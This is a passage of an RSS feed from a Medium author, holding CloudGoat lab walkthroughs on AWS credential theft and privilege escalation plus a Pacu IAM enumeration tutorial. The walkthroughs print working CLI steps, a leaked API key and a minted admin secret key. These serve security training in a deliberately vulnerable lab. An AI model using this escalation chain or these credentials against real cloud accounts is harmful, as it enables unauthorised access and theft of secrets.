<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by innervision on Medium]]></title>
        <description><![CDATA[Stories by innervision on Medium]]></description>
        <link>https://medium.com/@aj.clements23?source=rss-5eeaa99c21f1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Td9DR5eovkVLb0wA</url>
            <title>Stories by innervision on Medium</title>
            <link>https://medium.com/@aj.clements23?source=rss-5eeaa99c21f1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:02:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aj.clements23/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cloudgoat Sns_Secrets Walkthrough (Manual)]]></title>
            <link>https://medium.com/@aj.clements23/cloudgoat-sns-secrets-walkthrough-manual-a52115f85e8b?source=rss-5eeaa99c21f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a52115f85e8b</guid>
            <category><![CDATA[cloudgoat]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cloud-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[innervision]]></dc:creator>
            <pubDate>Fri, 23 May 2025 07:30:19 GMT</pubDate>
            <atom:updated>2025-05-23T07:30:19.303Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mC7V1Yh7vW3YlVbrFqf-jw.png" /></figure><p>This is a walkthrough outlining the steps taken to complete the CloudGoat scenario ‘sns_secrets’. For anyone who doesn’t know what CloudGoat is, it’s a tool that allows you to deploy “vulnerable by design” AWS instances, when linked with an AWS account. The link to <a href="https://github.com/RhinoSecurityLabs/cloudgoat">cloudgoat </a>is here if you want to check it out.</p><blockquote><strong>NOTE</strong>: There is a full API key on this article as I want you to show how an API key would look like, but it is no longer valid so it’s no problem though <strong>I stress to everyone that you should NEVER expose or post API keys that are active!</strong></blockquote><p>To set up the instance, type the following:</p><pre>cloudgoat create sns_secrets</pre><p>Once this is finished, cloudgoat will give you an access key and secret key. configure aws with the profile.</p><pre>aws configure --profile sns</pre><p>As a rule-of-thumb, make sure your access keys are valid with:</p><pre>┌──(kali㉿kali)-[~]<br>└─$ aws sts get-caller-identity --profile sns      <br>{<br>    &quot;UserId&quot;: &quot;AIDAXN6GE24T5UAREPRQ5&quot;,<br>    &quot;Account&quot;: &quot;510979790631&quot;,<br>    &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cg-sns-user-cgidngfruw9rx1&quot;<br>}</pre><p>Now we have our <strong>sns-user</strong>. We need to enumerate and see what access we have available to us. My first step is to check if the user has any inline or managed policies.</p><pre>aws iam list-user-policies --user-name cg-sns-user-cgidngfruw9rx1 --profile sns <br>{<br>    &quot;PolicyNames&quot;: [<br>        &quot;cg-sns-user-policy-cgidngfruw9rx1&quot;<br>    ]<br>}</pre><p>We have an inline policy. Let’s grab the actual json policy and see what permissions it gives us.</p><pre>aws iam get-user-policy --user-name cg-sns-user-cgidngfruw9rx1 --policy-name cg-sns-user-policy-cgidngfruw9rx1 --profile sns<br>{<br>    &quot;UserName&quot;: &quot;cg-sns-user-cgidngfruw9rx1&quot;,<br>    &quot;PolicyName&quot;: &quot;cg-sns-user-policy-cgidngfruw9rx1&quot;,<br>    &quot;PolicyDocument&quot;: {<br>        &quot;Version&quot;: &quot;2012-10-17&quot;,<br>        &quot;Statement&quot;: [<br>            {<br>                &quot;Action&quot;: [<br>                    &quot;sns:Subscribe&quot;,<br>                    &quot;sns:Receive&quot;,<br>                    &quot;sns:ListSubscriptionsByTopic&quot;,<br>                    &quot;sns:ListTopics&quot;,<br>                    &quot;sns:GetTopicAttributes&quot;,<br>                    &quot;iam:ListGroupsForUser&quot;,<br>                    &quot;iam:ListUserPolicies&quot;,<br>                    &quot;iam:GetUserPolicy&quot;,<br>                    &quot;iam:ListAttachedUserPolicies&quot;,<br>                    &quot;apigateway:GET&quot;<br>                ],<br>                &quot;Effect&quot;: &quot;Allow&quot;,<br>                &quot;Resource&quot;: &quot;*&quot;<br>            },<br>            {<br>                &quot;Action&quot;: &quot;apigateway:GET&quot;,<br>                &quot;Effect&quot;: &quot;Deny&quot;,<br>                &quot;Resource&quot;: [<br>                    &quot;arn:aws:apigateway:us-east-1::/apikeys&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/apikeys/*&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/restapis/*/methods/GET&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/restapis/*/integration&quot;,<br>                    &quot;arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration&quot;<br>                ]<br>            }<br>        ]<br>    }<br>}</pre><p>As this scenario is about sns, it’s safe to say that’s our next stop for enumeration. You should also note the “apigateway:GET”. This will come in handy later on.</p><p>Now, What is SNS? SNS stands for “Simple Notification Service” and in a nutshell, works like a email subscription, you sign up for the service and you receive periodic emails from their creator. Now a common vulnerability of this is the inclusion of sensitive information within the communications. This is how we’ll exploit this scenario.</p><p>First step in SNS enumeration is to check if there are any topics.</p><pre>aws sns list-topics --profile sns<br>{<br>    &quot;Topics&quot;: [<br>        {<br>            &quot;TopicArn&quot;: &quot;arn:aws:sns:us-east-1:510979790631:public-topic-cgidngfruw9rx1&quot;<br>        }<br>    ]<br>}</pre><p>We see we have a topic and gives us the arn.</p><p>Next, we should subscribe to the sns topic. You will need to use a legitimate email address as it will send you a confirmation email after running the command</p><pre>aws sns subscript --topic-arn arn:aws:sns:us-east-1:510979790631:public-topic-cgidngfruw9rx1 --protocol email --notification-endpoint [Email-Address]</pre><p>Log onto your mailbox and you should have received an email that looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*D-66tBEQcMYKJQ4veUpUqQ.png" /></figure><p>Click “Confirm subscription”. Soon after, you will receive an email that is being sent through this subscription, and with it, an API Key. Not good!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqbot1_w6BIf0mmOjgX1PQ.png" /></figure><blockquote>This scenario sends an automated email every 2 minutes so once you have this API key, you should unsubscribe to stop receiving a tonne of emails.</blockquote><p>Now we have an API key, we should see how we can put it to use. When we were looking at the user-policy, I said to keep in mind the permission “apigateway:GET”. Now is the time that we take advantage of this.</p><p>We want to list the apis available.</p><pre>aws apigateway get-rest-apis --profile sns<br>{<br>    &quot;items&quot;: [<br>        {<br>            &quot;id&quot;: &quot;wa1o3c3226&quot;,<br>            &quot;name&quot;: &quot;cg-api-cgidngfruw9rx1&quot;,<br>            &quot;description&quot;: &quot;API for demonstrating leaked API key scenario&quot;,<br>            &quot;createdDate&quot;: &quot;2025-05-23T10:27:44+09:00&quot;,<br>            &quot;apiKeySource&quot;: &quot;HEADER&quot;,<br>            &quot;endpointConfiguration&quot;: {<br>                &quot;types&quot;: [<br>                    &quot;EDGE&quot;<br>                ],<br>                &quot;ipAddressType&quot;: &quot;ipv4&quot;<br>            },<br>            &quot;tags&quot;: {<br>                &quot;Scenario&quot;: &quot;iam_privesc_by_key_rotation&quot;,<br>                &quot;Stack&quot;: &quot;CloudGoat&quot;<br>            },<br>            &quot;disableExecuteApiEndpoint&quot;: false,<br>            &quot;rootResourceId&quot;: &quot;jg651onaye&quot;<br>        }<br>    ]<br>}</pre><p>We have only 1 and reading the description, loks like we’re on the right track. What we need to do now is send a GET request to the API gateway URL, but before we can do that, we need to construct the URL to query. This requires 3 things:</p><ol><li>API Key (We already have this)</li><li>Stage Name</li><li>Resource Path</li></ol><p>The AWS cli has the capability to get these items.</p><p>Stage Name:</p><pre>aws apigateway get-stages --rest-api-id wa1o3c3226 --profile sns<br>{<br>    &quot;item&quot;: [<br>        {<br>            &quot;deploymentId&quot;: &quot;738wjj&quot;,<br>            &quot;stageName&quot;: &quot;prod-cgidngfruw9rx1&quot;,<br>            &quot;cacheClusterEnabled&quot;: false,<br>            &quot;cacheClusterStatus&quot;: &quot;NOT_AVAILABLE&quot;,<br>            &quot;methodSettings&quot;: {},<br>            &quot;variables&quot;: {},<br>            &quot;tracingEnabled&quot;: false,<br>            &quot;createdDate&quot;: &quot;2025-05-23T10:27:46+09:00&quot;,<br>            &quot;lastUpdatedDate&quot;: &quot;2025-05-23T10:27:46+09:00&quot;<br>        }<br>    ]<br>}</pre><p>Resource Path</p><pre>┌──(kali㉿kali)-[~]<br>└─$ aws apigateway get-resources --rest-api-id wa1o3c3226 --profile sns<br>{<br>    &quot;items&quot;: [<br>        {<br>            &quot;id&quot;: &quot;c8hgq9&quot;,<br>            &quot;parentId&quot;: &quot;jg651onaye&quot;,<br>            &quot;pathPart&quot;: &quot;user-data&quot;,<br>            &quot;path&quot;: &quot;/user-data&quot;,<br>            &quot;resourceMethods&quot;: {<br>                &quot;GET&quot;: {}<br>            }<br>        },<br>        {<br>            &quot;id&quot;: &quot;jg651onaye&quot;,<br>            &quot;path&quot;: &quot;/&quot;<br>        }<br>    ]<br>}</pre><p>Now we have all the pieces.</p><ol><li>API Key : 45a3da610dc64703b10e273a4db135bf</li><li>Stage Name : prod-cgidngfruw9rx1</li><li>Resource Path : /user-data</li></ol><p>Now we have all the pieces, we can construct the URL. The URL follows the convention below:</p><pre>https://[API key].execute-api.us-east-1.amazonaws.com/[stage-name]/[resource-path]</pre><p>So substituting the placeholders, we get:</p><pre>https://wa1o3c3226.execute-api.us-east-1.amazonaws.com/prod-cgidngfruw9rx1/user-data</pre><p>We can now sent the GET request to the api, making sure to add the API key to the request.</p><pre>curl https://wa1o3c3226.execute-api.us-east-1.amazonaws.com/prod-cgidngfruw9rx1/user-data -H &#39;x-api-key: 45a3da610dc64703b10e273a4db135bf&#39;<br><br>{&quot;final_flag&quot;:&quot;FLAG{SNS_S3cr3ts_ar3_FUN}&quot;,&quot;message&quot;:&quot;Access granted&quot;,&quot;user_data&quot;:{&quot;email&quot;:&quot;SuperAdmin@notarealemail.com&quot;,&quot;password&quot;:&quot;p@ssw0rd123&quot;,&quot;user_id&quot;:&quot;1337&quot;,&quot;username&quot;:&quot;SuperAdmin&quot;}} </pre><p>There you have it! We have our flag and the scenario is complete!</p><p>I hope you not only enjoyed reading this but found it informative as well!</p><p>I will release more walkthroughs of other cloudgoat scenarios in the near future, so stay tuned!</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a52115f85e8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloudgoat Beanstalk_secrets Walkthrough (Manual)]]></title>
            <link>https://medium.com/@aj.clements23/cloudgoat-beanstalk-secrets-walkthrough-manual-facef048d357?source=rss-5eeaa99c21f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/facef048d357</guid>
            <category><![CDATA[cloud-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[innervision]]></dc:creator>
            <pubDate>Thu, 22 May 2025 08:25:58 GMT</pubDate>
            <atom:updated>2025-05-22T08:25:58.564Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*olaOO13L0y2BoWpWfNLnHA.png" /></figure><p>This is a walkthrough outlining the steps taken to complete the CloudGoat scenario ‘beanstalk_secrets’. For anyone who doesn’t know what CloudGoat is, it’s a tool that allows you to deploy “vulnerable by design” AWS instances, when linked with an AWS account. The link to <a href="https://github.com/RhinoSecurityLabs/cloudgoat">cloudgoat </a>is here if you want to check it out.</p><p>To set up the instance, type the following:</p><pre>cloudgoat create beanstalk_secrets</pre><p>Once this is finished, cloudgoat will give you an access key and secret key. configure aws with the profile.</p><pre>aws configure --profile beanstalk</pre><p>As a rule-of-thumb, make sure your access keys are valid with:</p><pre>┌──(kali㉿kali)-[~/Desktop/Simplycyber/cloudgoat/beanstalk_secrets]<br>└─$ aws sts get-caller-identity --profile beanstalk<br>{<br>    &quot;UserId&quot;: &quot;AIDAXN6GE24TR2ZIEYCQ4&quot;,<br>    &quot;Account&quot;: &quot;510979790631&quot;,<br>    &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgid1s7fqqehso_low_priv_user&quot;<br>}</pre><p>Now we have our <strong>low_priv_user</strong>. We need to enumerate and see what access we have available to us. My first step is to check if the user has any inline or managed policies. Unfortunately, there are neither.</p><p>As part of the scenario, the “client” has told us that the low_priv_user has access to beanstalk. Beanstalk is a service within AWS that lets you upload and deploy web applications.</p><p>With this knowledge, it makes sense that the next step of enumeration is to see if there are any active beanstalk applications running.</p><pre>aws elasticbeanstalk describe-applications --profile beanstalk<br>{<br>    &quot;Applications&quot;: [<br>        {<br>            &quot;ApplicationArn&quot;: &quot;arn:aws:elasticbeanstalk:us-east-1:510979790631:application/cgid1s7fqqehso-app&quot;,<br>            &quot;ApplicationName&quot;: &quot;cgid1s7fqqehso-app&quot;,<br>            &quot;Description&quot;: &quot;Elastic Beanstalk application for insecure secrets scenario&quot;,<br>            &quot;DateCreated&quot;: &quot;2025-05-21T05:50:43.860000+00:00&quot;,<br>            &quot;DateUpdated&quot;: &quot;2025-05-21T05:50:43.860000+00:00&quot;,<br>            &quot;ConfigurationTemplates&quot;: [],<br>            &quot;ResourceLifecycleConfig&quot;: {<br>                &quot;VersionLifecycleConfig&quot;: {<br>                    &quot;MaxCountRule&quot;: {<br>                        &quot;Enabled&quot;: false,<br>                        &quot;MaxCount&quot;: 200,<br>                        &quot;DeleteSourceFromS3&quot;: false<br>                    },<br>                    &quot;MaxAgeRule&quot;: {<br>                        &quot;Enabled&quot;: false,<br>                        &quot;MaxAgeInDays&quot;: 180,<br>                        &quot;DeleteSourceFromS3&quot;: false<br>                    }<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p>We find out that there is indeed a running application, with the name <strong><em>cgid1s7fqqehso-app</em></strong>. With every application, there is an accompanying environment. We can enumerate that with:</p><pre>aws elasticbeanstalk describe-environments --profile beanstalk<br>{<br>    &quot;Environments&quot;: [<br>        {<br>            &quot;EnvironmentName&quot;: &quot;cgid1s7fqqehso-env&quot;,<br>            &quot;EnvironmentId&quot;: &quot;e-ieqwzmshza&quot;,<br>            &quot;ApplicationName&quot;: &quot;cgid1s7fqqehso-app&quot;,<br>            &quot;SolutionStackName&quot;: &quot;64bit Amazon Linux 2023 v4.5.2 running Python 3.13&quot;,<br>            &quot;PlatformArn&quot;: &quot;arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.13 running on 64bit Amazon Linux 2023/4.5.2&quot;,<br>            &quot;EndpointURL&quot;: &quot;awseb-e-i-AWSEBLoa-OOB5FJRQFVTD-745874050.us-east-1.elb.amazonaws.com&quot;,<br>            &quot;CNAME&quot;: &quot;cgid1s7fqqehso-env.eba-kptdjny6.us-east-1.elasticbeanstalk.com&quot;,<br>            &quot;DateCreated&quot;: &quot;2025-05-21T05:51:00.244000+00:00&quot;,<br>            &quot;DateUpdated&quot;: &quot;2025-05-21T05:53:44.369000+00:00&quot;,<br>            &quot;Status&quot;: &quot;Ready&quot;,<br>            &quot;AbortableOperationInProgress&quot;: false,<br>            &quot;Health&quot;: &quot;Grey&quot;,<br>            &quot;HealthStatus&quot;: &quot;Unknown&quot;,<br>            &quot;Tier&quot;: {<br>                &quot;Name&quot;: &quot;WebServer&quot;,<br>                &quot;Type&quot;: &quot;Standard&quot;,<br>                &quot;Version&quot;: &quot;1.0&quot;<br>            },<br>            &quot;EnvironmentLinks&quot;: [],<br>            &quot;EnvironmentArn&quot;: &quot;arn:aws:elasticbeanstalk:us-east-1:510979790631:environment/cgid1s7fqqehso-app/cgid1s7fqqehso-env&quot;<br>        }<br>    ]<br>}</pre><p>Now we have the name of the application and the name of the environment.</p><p>There are a lot of variables stored within the environment. We can grab those, utilizing the application name and environment name</p><pre>aws elasticbeanstalk describe-configuration-settings --application-name cgid1s7fqqehso-app --environment-name cgid1s7fqqehso-env --profile beanstalk<br>...<br>                {<br>                    &quot;Namespace&quot;: &quot;aws:elasticbeanstalk:application:environment&quot;,<br>                    &quot;OptionName&quot;: &quot;SECONDARY_ACCESS_KEY&quot;,<br>                    &quot;Value&quot;: &quot;AKIAXXXXXXXXXXXXXXXX&quot;<br>                },<br>                {<br>                    &quot;Namespace&quot;: &quot;aws:elasticbeanstalk:application:environment&quot;,<br>                    &quot;OptionName&quot;: &quot;SECONDARY_SECRET_KEY&quot;,<br>                    &quot;Value&quot;: &quot;vGcyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;<br>                },                <br>...</pre><p>It looks like the developer has stored an access key and secret key in the environment variables. <em>Naughty naughty..</em></p><p>Let’s configure a new aws profile with the new keys and again, confirm the validity of the keys.</p><pre>aws sts get-caller-identity --profile beanstalk_env<br>{<br>    &quot;UserId&quot;: &quot;AIDAXN6GE24TUXJDRSHAM&quot;,<br>    &quot;Account&quot;: &quot;510979790631&quot;,<br>    &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgidxrs7t82wcn_secondary_user&quot;<br>}</pre><p><strong><em>Congratulations</em></strong><em>, you’ve successfully performed a lateral movement!</em></p><p>With all good penetration tests, once we have new credentials the enumeration cycle starts again. We need to see what access we have with this new <strong><em>secondary_user.</em></strong></p><p>Let’s see if we have any inline or managed profiles attached to this user.</p><pre>aws iam list-attached-user-policies --user-name cgidxrs7t82wcn_secondary_user --profile beanstalk_env<br>{<br>    &quot;AttachedPolicies&quot;: [<br>        {<br>            &quot;PolicyName&quot;: &quot;cgidxrs7t82wcn_secondary_policy&quot;,<br>            &quot;PolicyArn&quot;: &quot;arn:aws:iam::510979790631:policy/cgidxrs7t82wcn_secondary_policy&quot;<br>        }<br>    ]<br>}</pre><p>We have a managed policy. Let’s find out the version of the policy so we can later grab the policy itself:</p><pre>aws iam list-policy-versions --policy-arn arn:aws:iam::510979790631:policy/cgidxrs7t82wcn_secondary_policy --profile beanstalk_env<br>{<br>    &quot;Versions&quot;: [<br>        {<br>            &quot;VersionId&quot;: &quot;v1&quot;,<br>            &quot;IsDefaultVersion&quot;: true,<br>            &quot;CreateDate&quot;: &quot;2025-05-22T01:15:42+00:00&quot;<br>        }<br>    ]<br>}</pre><pre>aws iam get-policy-version --policy-arn arn:aws:iam::510979790631:policy/cgidxrs7t82wcn_secondary_policy  --version-id v1 --profile beanstalk_env<br>{<br>    &quot;PolicyVersion&quot;: {<br>        &quot;Document&quot;: {<br>            &quot;Statement&quot;: [<br>                {<br>                    &quot;Action&quot;: [<br>                        &quot;iam:CreateAccessKey&quot;<br>                    ],<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;*&quot;<br>                },<br>                {<br>                    &quot;Action&quot;: [<br>                        &quot;iam:ListRoles&quot;,<br>                        &quot;iam:GetRole&quot;,<br>                        &quot;iam:ListPolicies&quot;,<br>                        &quot;iam:GetPolicy&quot;,<br>                        &quot;iam:ListPolicyVersions&quot;,<br>                        &quot;iam:GetPolicyVersion&quot;,<br>                        &quot;iam:ListUsers&quot;,<br>                        &quot;iam:GetUser&quot;,<br>                        &quot;iam:ListGroups&quot;,<br>                        &quot;iam:GetGroup&quot;,<br>                        &quot;iam:ListAttachedUserPolicies&quot;,<br>                        &quot;iam:ListAttachedRolePolicies&quot;,<br>                        &quot;iam:GetRolePolicy&quot;<br>                    ],<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;*&quot;<br>                }<br>            ],<br>            &quot;Version&quot;: &quot;2012-10-17&quot;<br>        },<br>        &quot;VersionId&quot;: &quot;v1&quot;,<br>        &quot;IsDefaultVersion&quot;: true,<br>        &quot;CreateDate&quot;: &quot;2025-05-22T01:15:42+00:00&quot;<br>    }<br>}</pre><p>The first action sticks out immediately, <strong><em>iam:CreateAccessKey</em></strong>.</p><p>This allows you to create new access keys for an existing user. Thankfully for us the aws cli has a command that let’s us do this. The documentation can be found here (<a href="https://docs.aws.amazon.com/cli/latest/reference/iam/create-access-key.html">create-access-key</a>)</p><p>We already have keys for 2 users so we need to find another user that we can take advantage of. The policy tells us we also have permission to run <strong>iam:ListUsers,</strong> so let’s do that!</p><pre>aws iam list-users --profile beanstalk_env<br>{<br>    &quot;Users&quot;: [<br>        {<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;UserName&quot;: &quot;cgidxrs7t82wcn_admin_user&quot;,<br>            &quot;UserId&quot;: &quot;AIDAXN6GE24TRG6HV27AI&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgidxrs7t82wcn_admin_user&quot;,<br>            &quot;CreateDate&quot;: &quot;2025-05-22T01:15:42+00:00&quot;<br>        },<br>        {<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;UserName&quot;: &quot;cgidxrs7t82wcn_low_priv_user&quot;,<br>            &quot;UserId&quot;: &quot;AIDAXN6GE24T4SHB6LPBE&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgidxrs7t82wcn_low_priv_user&quot;,<br>            &quot;CreateDate&quot;: &quot;2025-05-22T01:15:42+00:00&quot;<br>        },<br>        {<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;UserName&quot;: &quot;cgidxrs7t82wcn_secondary_user&quot;,<br>            &quot;UserId&quot;: &quot;AIDAXN6GE24TUXJDRSHAM&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgidxrs7t82wcn_secondary_user&quot;,<br>            &quot;CreateDate&quot;: &quot;2025-05-22T01:15:42+00:00&quot;<br>        },<br>    ]<br>}</pre><p>Excluding the 2 accounts we have access to, there’s only 1 more account available, <strong>admin_user.</strong></p><p><strong>JACKPOT!</strong></p><p>Let’s create an access key for this user. Users can only have up to 2 keys so we have to hope that there is only 1 key for this user.</p><pre>aws iam create-access-key --user-name cgidxrs7t82wcn_admin_user --profile beanstalk_env<br>{<br>    &quot;AccessKey&quot;: {<br>        &quot;UserName&quot;: &quot;cgidxrs7t82wcn_admin_user&quot;,<br>        &quot;AccessKeyId&quot;: &quot;AKIAXN6GE24TWNRI3Q4C&quot;,<br>        &quot;Status&quot;: &quot;Active&quot;,<br>        &quot;SecretAccessKey&quot;: &quot;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&quot;,<br>        &quot;CreateDate&quot;: &quot;2025-05-22T06:16:18+00:00&quot;<br>    }<br>}</pre><p>It worked! We now have credentials for the <strong>admin_user</strong></p><p>Let’s configure the keys with aws and make sure they are valid</p><pre>aws sts get-caller-identity --profile beanstalk_admin<br>{<br>    &quot;UserId&quot;: &quot;AIDAXN6GE24TRG6HV27AI&quot;,<br>    &quot;Account&quot;: &quot;510979790631&quot;,<br>    &quot;Arn&quot;: &quot;arn:aws:iam::510979790631:user/cgidxrs7t82wcn_admin_user&quot;<br>}</pre><p>The ultimate end goal to a cloud pentest is to be able to access and read the secrets within the secretsmanager. As we have “Admin” access, we should give this a go and see if we can read them or not.</p><pre>aws secretsmanager list-secrets --profile beanstalk_admin<br>{<br>    &quot;SecretList&quot;: [<br>        {<br>            &quot;ARN&quot;: &quot;arn:aws:secretsmanager:us-east-1:510979790631:secret:cgidxrs7t82wcn_final_flag-KxZGcM&quot;,<br>            &quot;Name&quot;: &quot;cgidxrs7t82wcn_final_flag&quot;,<br>            &quot;LastChangedDate&quot;: &quot;2025-05-22T10:15:43.548000+09:00&quot;,<br>            &quot;LastAccessedDate&quot;: &quot;2025-05-22T09:00:00+09:00&quot;,<br>            &quot;Tags&quot;: [<br>                {<br>                    &quot;Key&quot;: &quot;Stack&quot;,<br>                    &quot;Value&quot;: &quot;CloudGoat&quot;<br>                },<br>                {<br>                    &quot;Key&quot;: &quot;Scenario&quot;,<br>                    &quot;Value&quot;: &quot;beanstalk_secrets&quot;<br>                }<br>            ],<br>            &quot;SecretVersionsToStages&quot;: {<br>                &quot;terraform-20250522011543311100000005&quot;: [<br>                    &quot;AWSCURRENT&quot;<br>                ]<br>            },<br>            &quot;CreatedDate&quot;: &quot;2025-05-22T10:15:42.698000+09:00&quot;<br>        }<br>    ]<br>}</pre><p>We can see there is one secret, aptly named <strong>final_flag</strong></p><p>Let’s get the secret value and and claim victory!</p><pre>aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:510979790631:secret:cgidxrs7t82wcn_final_flag-KxZGcM --profile beanstalk_admin<br>{<br>    &quot;ARN&quot;: &quot;arn:aws:secretsmanager:us-east-1:510979790631:secret:cgidxrs7t82wcn_final_flag-KxZGcM&quot;,<br>    &quot;Name&quot;: &quot;cgidxrs7t82wcn_final_flag&quot;,<br>    &quot;VersionId&quot;: &quot;terraform-20250522011543311100000005&quot;,<br>    &quot;SecretString&quot;: &quot;FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}&quot;,<br>    &quot;VersionStages&quot;: [<br>        &quot;AWSCURRENT&quot;<br>    ],<br>    &quot;CreatedDate&quot;: &quot;2025-05-22T10:15:43.543000+09:00&quot;<br>}</pre><p>There you have it! We have our flag and the scenario is complete!</p><p>I hope you not only enjoyed reading this but found it informative as well!</p><p>I will release more walkthroughs of other cloudgoat scenarios in the near future, so stay tuned!</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=facef048d357" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic AWS IAM Enumeration Using Pacu]]></title>
            <link>https://medium.com/@aj.clements23/basic-aws-iam-enumeration-using-pacu-bec9d9d102b1?source=rss-5eeaa99c21f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/bec9d9d102b1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[innervision]]></dc:creator>
            <pubDate>Wed, 14 May 2025 01:13:40 GMT</pubDate>
            <atom:updated>2025-05-14T01:13:40.513Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9kWXxMwJ6GyX6tuN.jpg" /></figure><p>This is a small article that compliments the Introduction to AWS pentesting course by Tyler Ramsbey.</p><p>The challenge set by Tyler was to go into Cybr’s “Introduction to AWS AIM Enumeration” and enumerate the following solely using pacu.</p><ol><li>Enumerate Users</li><li>Enumerate Policies</li><li>Enumerate Groups</li><li>Enumerate Roles</li></ol><p>This is my first time using pacu and with no prior training, I’m going in 100% blind.</p><ol><li>If you’ve followed the course up to this point, you should already have pacu installed. Open pacu simply with:</li></ol><pre>pacu</pre><p>You’ll be asked what session to use. I went with a New session and aptly named it cybr</p><figure><img alt="Creating a new session" src="https://cdn-images-1.medium.com/max/453/1*Z6gFB8TXfMJKyJb1CRZFWA.png" /><figcaption>Creating a new session</figcaption></figure><p>2. If you’ve followed along with the enumeration then you should already have an access key and secret for the instance configured. If so, you can import the key like so:</p><pre>import_keys &lt;profile_name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*masrvopUO1qUEOxIaYE7VA.png" /><figcaption>Importing Key</figcaption></figure><p>If you haven’t configured the keys yet you are able to configure it directly in the Pacu console. Pacu sees the ‘aws’ at the beginning of the command and automatically runs it in a shell.</p><pre>aws configure --profile cybr</pre><p>Add your Access Key, Secret, default region name and output format.</p><p>You can confirm your key is set as the Pacu prompt will display your currently imported key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*KrcaATpzSjG9v-QtUPXb-Q.png" /></figure><p>3. Now you’re ready to interact with the instance, you need to find a suitable module to use. The search command comes into play here. Since this instance is all about <strong>iam</strong> enumeration, this is a perfect search term.</p><pre>search iam</pre><p>Looking through the list, one module sticks out that will tackle all four of the objectives at once: iam__enum_users_roles_policies_groups !</p><p>4. To use this module, type use or run , followed by the module name.</p><pre>use iam__enum_users_roles_policies_groups<br><br>--or--<br><br>run iam__enum_users_roles_policies_groups</pre><p>Wait a few seconds and you’ll have the data stored in Pacu’s database. Upon completion, it will give you an overview on what it found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*BqagOOKQXZ_2IPZpY3Omow.png" /><figcaption>Post-Enumeration Summary</figcaption></figure><p>5. Viewing the data is simple, just type data which will display all information gathered in the session. Since you’ve only run the 1 module within the cybr session, that output will be the only content displayed.</p><p>And that’s it! This is clearly an invaluable tool to streamline AWS penetration testing that every tester should add to their arsenal.</p><p>Find the repo for pacu here: <a href="https://github.com/RhinoSecurityLabs/pacu">https://github.com/RhinoSecurityLabs/pacu</a></p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bec9d9d102b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC165 — Possible SQL Injection Payload Detected Walkthrough]]></title>
